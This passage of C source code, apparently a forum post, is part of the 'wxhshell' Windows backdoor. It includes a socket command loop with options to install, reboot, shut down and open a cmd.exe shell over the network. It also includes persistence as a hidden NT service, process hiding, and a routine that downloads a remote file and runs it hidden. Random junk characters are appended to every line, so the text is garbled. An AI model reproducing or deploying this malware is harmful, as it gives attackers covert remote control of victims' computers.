NE Z ]%  
    switch(cmd[0]) { O^R ^Aw  
  hiaTJE|J?  
  // 帮助 |mz0 ]  
  case '?': { > !HC ?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m h|HEkM  
    break; fJY b)sN  
  } B_%O6  
  // 安装 w_q =mKu  
  case 'i': { 1$"wN z  
    if(Install()) O[ ^zQA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MO79FNH2\  
    else TJs@V>,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @2 SL$0!QA  
    break; utw@5  
    } ]8opI\  
  // 卸载 -} +PE 4fh  
  case 'r': { !i=k=l=  
    if(Uninstall()) ,Lw '3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[To"You  
    else KYFkO~N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zrur-i$N+  
    break; n\YWWW[wf  
    } ;] #Q!  
  // 显示 wxhshell 所在路径 N37#V s  
  case 'p': { ~|e H8@o  
    char svExeFile[MAX_PATH]; 7JP.c@s  
    strcpy(svExeFile,"\n\r"); Zg!E}B:z  
      strcat(svExeFile,ExeFile); 55`cNZ  
        send(wsh,svExeFile,strlen(svExeFile),0); }@g#S@o  
    break; .PJ_1  
    } ':,p6  
  // 重启 ivi&;  
  case 'b': { DVRbTz3V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7me1 :}4  
    if(Boot(REBOOT)) R<1[hH9"o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?:]f  
    else { p5=VGKp  
    closesocket(wsh); eadY(-4|I-  
    ExitThread(0); 5W?r04  
    } $ZE"o`=7  
    break; :*lB86Ly  
    } -Cf< #'x_  
  // 关机 YZ+<+`Mz<  
  case 'd': { f.u[!T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I*8_5?)g<  
    if(Boot(SHUTDOWN)) a~[]Ye@H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26c1Yl,DMn  
    else { `LVX|l62  
    closesocket(wsh); FYeUz$/  
    ExitThread(0); `)eqTeW  
    } C$EvcF% 1  
    break; 1He'\/#  
    } RIxGwMi%  
  // 获取shell @Tf5YZ*  
  case 's': { E+E.z?>S  
    CmdShell(wsh); |Ok1E  
    closesocket(wsh); uY=}w"Db  
    ExitThread(0); 7~ok*yGw  
    break; `=~d^wKYJ3  
  } 9Z_98 Rh  
  // 退出 V9kL\Ys  
  case 'x': { dg42K`E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nc%ly *  
    CloseIt(wsh); E&RK My)  
    break; 6 {tW$q  
    } 8'Ph/L,  
  // 离开 D'+kzb@  
  case 'q': { vc(6lN9>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q9c:,k  
    closesocket(wsh); b 7bbrR8  
    WSACleanup(); A ZYu/k  
    exit(1); ySwvjP7f  
    break; l]o&D))R  
        } }x1p~N+;  
  } "5R8Zl+  
  } %8yX6`lH  
P$i?%P~  
  // 提示信息 |^E# cI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U GJ# "9  
} !B{N:?r  
  } CEos`  
D +vHl}  
  return; E`SFr  
} 3pKr {U92  
?$xZ$zW  
// shell模块句柄 3YF*TxKx  
int CmdShell(SOCKET sock) 2@S{e$YK`  
{ CvtG  
STARTUPINFO si; q@x{6zj  
ZeroMemory(&si,sizeof(si)); '\X<+Sm'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ef=LPCi?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VZ8HnNAbX  
PROCESS_INFORMATION ProcessInfo; Ni[2 p  
char cmdline[]="cmd"; s9Aq-N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YS5Pt)?  
  return 0; <t0o{}^P*  
} +LM /< l  
:kDHwYv$  
// 自身启动模式 @OlV6M;qJ  
int StartFromService(void) -\!"Kz/  
{ D-BWgK  
typedef struct 7u Q-:n  
{ L{\au5-4  
  DWORD ExitStatus; 6A]Ia4PL  
  DWORD PebBaseAddress; ;Qc_Tf=,  
  DWORD AffinityMask; 8L<GAe  
  DWORD BasePriority; nx >PZb  
  ULONG UniqueProcessId; "[(I*  
  ULONG InheritedFromUniqueProcessId; F? kW{,*  
}   PROCESS_BASIC_INFORMATION; |8b*BnS  
e8@@Pi<sB  
PROCNTQSIP NtQueryInformationProcess; h@"dpmpe  
6* /o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H`$s63  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ii,Lj1Q  
Z`5v6"Na  
  HANDLE             hProcess; ;m3SlP{F  
  PROCESS_BASIC_INFORMATION pbi; Y.qlY3iBp  
+_ HPZo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zF2GW  
  if(NULL == hInst ) return 0; joh=0nk;D  
<=*xwI&q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +`==US34  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6t|FuTC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oi=>Usd  
YN ~ 7nOw  
  if (!NtQueryInformationProcess) return 0; k 4+F  
j|&?BBa9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); shwKB 5  
  if(!hProcess) return 0; f#a ~av9rC  
VGY#ph%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Ig@gdmz  
j1)HIQE|5f  
  CloseHandle(hProcess); RbJ,J)C>  
A|V |vT7cb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hmOhXE[ a&  
if(hProcess==NULL) return 0; cZN+D D  
P"%i 4-S  
HMODULE hMod; "]ow1{  
char procName[255]; WKFmU0RK  
unsigned long cbNeeded; [g_Cg=J  
:cmfy6h]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Vj]whE  
-bK#&o,  
  CloseHandle(hProcess); %QUV351H  
ee]PFW28  
if(strstr(procName,"services")) return 1; // 以服务启动 MX 2UYZ&  
1\q2;5  
  return 0; // 注册表启动 1q*85 [Y  
} xQa[bvW  
+!6C^G  
// 主模块 Y B@\"|}  
int StartWxhshell(LPSTR lpCmdLine) 1o7 pMp=  
{ /H=fK  
  SOCKET wsl; &>Q_  
BOOL val=TRUE; nKJJ7'$'3  
  int port=0; N0GID-W!/~  
  struct sockaddr_in door; 2P8JLT*Tj  
\eE0Rnaf-  
  if(wscfg.ws_autoins) Install(); 2+Z2`k]AC  
iKa}@U  
port=atoi(lpCmdLine); tnz BNW8  
SeBbI&Ju  
if(port<=0) port=wscfg.ws_port; : 2?J#/o  
inavi5.  
  WSADATA data; 9)Y]05us  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }> k9]Y  
3_2(L"S2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |,j6cFNw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .!Kdi|a)  
  door.sin_family = AF_INET; 4w^B&e%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e@s+]a8D-k  
  door.sin_port = htons(port); 6I(y`pJ  
Zr_{Z@IpU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MI|DOp  
closesocket(wsl); C_?L$3 U0  
return 1; ]`&EB~K&NY  
} S=^yJ6 xJ  
p%CAicn  
  if(listen(wsl,2) == INVALID_SOCKET) { $!Z6?+  
closesocket(wsl); 6TxZ^&=  
return 1; Z mF}pa,gd  
} O,ZvV3  
  Wxhshell(wsl); %-|Po:6  
  WSACleanup(); 2"C'Au  
.e5GJAW~9  
return 0; ;"\e aKl  
0ANqEQX  
} b5 YE4h8%  
"g\  
// 以NT服务方式启动 J[;c}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FGBPhH% (8  
{ "?V4Tl~uu  
DWORD   status = 0; Qv,|*bf  
  DWORD   specificError = 0xfffffff; D Y($  
,)XT;iGQe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y:]~~-f\~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I@a7AuOw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zTBr<:  
  serviceStatus.dwWin32ExitCode     = 0; 9j:t}HV  
  serviceStatus.dwServiceSpecificExitCode = 0; <wxI>T}b  
  serviceStatus.dwCheckPoint       = 0; @D-l_[  
  serviceStatus.dwWaitHint       = 0; H=z@!rJc.  
eb2~$ ,$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *@l NL=%R  
  if (hServiceStatusHandle==0) return; M~;mamTP  
ZebXcT ,41  
status = GetLastError(); 9k ]$MR  
  if (status!=NO_ERROR) 4QdY"s( n  
{ iCao;Zb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C',D"  
    serviceStatus.dwCheckPoint       = 0; m>$+sMZE  
    serviceStatus.dwWaitHint       = 0; d l@  
    serviceStatus.dwWin32ExitCode     = status; O82T|0uw  
    serviceStatus.dwServiceSpecificExitCode = specificError; eCMcr !.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gk*Mx6|N  
    return; vY<(3[pp  
  } CTbdY,=B  
zF.rsNY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \szx.IZT  
  serviceStatus.dwCheckPoint       = 0; eP|:b &  
  serviceStatus.dwWaitHint       = 0; FD*`$.e3\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >IC.Zt@  
} *j2P#et  
EYd`qk 3  
// 处理NT服务事件,比如:启动、停止 BS>|M}G)r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bgqN&J)Jr)  
{ QS,IM >Nr  
switch(fdwControl) \CM(  
{ (ta!4h,  
case SERVICE_CONTROL_STOP: `&b 8wF  
  serviceStatus.dwWin32ExitCode = 0; V"*|`z)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j./3)  
  serviceStatus.dwCheckPoint   = 0; g4&zBn  
  serviceStatus.dwWaitHint     = 0; X3#|9  
  { 1j# ~:=I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lg[*P8wE  
  } ..3TB=Z#  
  return; MQ5#6 vJ  
case SERVICE_CONTROL_PAUSE: x"K<@mR5G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _\>?.gg$  
  break; NQ !t`  
case SERVICE_CONTROL_CONTINUE: ;#I(ucB<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nM34zVy  
  break; OljUK,I]  
case SERVICE_CONTROL_INTERROGATE: 6 9ia #  
  break; U_m<W$"HF  
}; m.EI("n"J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^q_0(Vf  
} 1]aM)},  
mQtGE[  
// 标准应用程序主函数 }k.-xaj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LpeQx\  
{ l|^p;z: d  
9XX&~GW/  
// 获取操作系统版本 BJ<hP9 #  
OsIsNt=GetOsVer(); rXuhd [!(P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rV)mcfw:Z  
m:d P,  
  // 从命令行安装 a[]=*(AZI  
  if(strpbrk(lpCmdLine,"iI")) Install(); <s2IC_f<+  
Dr$k6kZ}'U  
  // 下载执行文件 uDay||7^g  
if(wscfg.ws_downexe) { 28C/^4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R lyF#X#7{  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZwB< {?  
} D3$PvX[f  
g+t-<D"L5  
if(!OsIsNt) { ]C3{ _?=  
// 如果时win9x,隐藏进程并且设置为注册表启动 /+.Bc(`  
HideProc(); ]Vo;ZY_\  
StartWxhshell(lpCmdLine); 4 FW~Y  
} %N7b XKDP  
else v*<hE>J0  
  if(StartFromService()) jxL} tS{j  
  // 以服务方式启动 |sMRIW,P  
  StartServiceCtrlDispatcher(DispatchTable); AIR,XlD  
else {3@f(H m  
  // 普通方式启动 v{$X2z_$w  
  StartWxhshell(lpCmdLine); /qed_w.p  
57*z0<  
return 0; #Gx%PQ`  
}
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只看该作者 1 发表于: 2006-10-10
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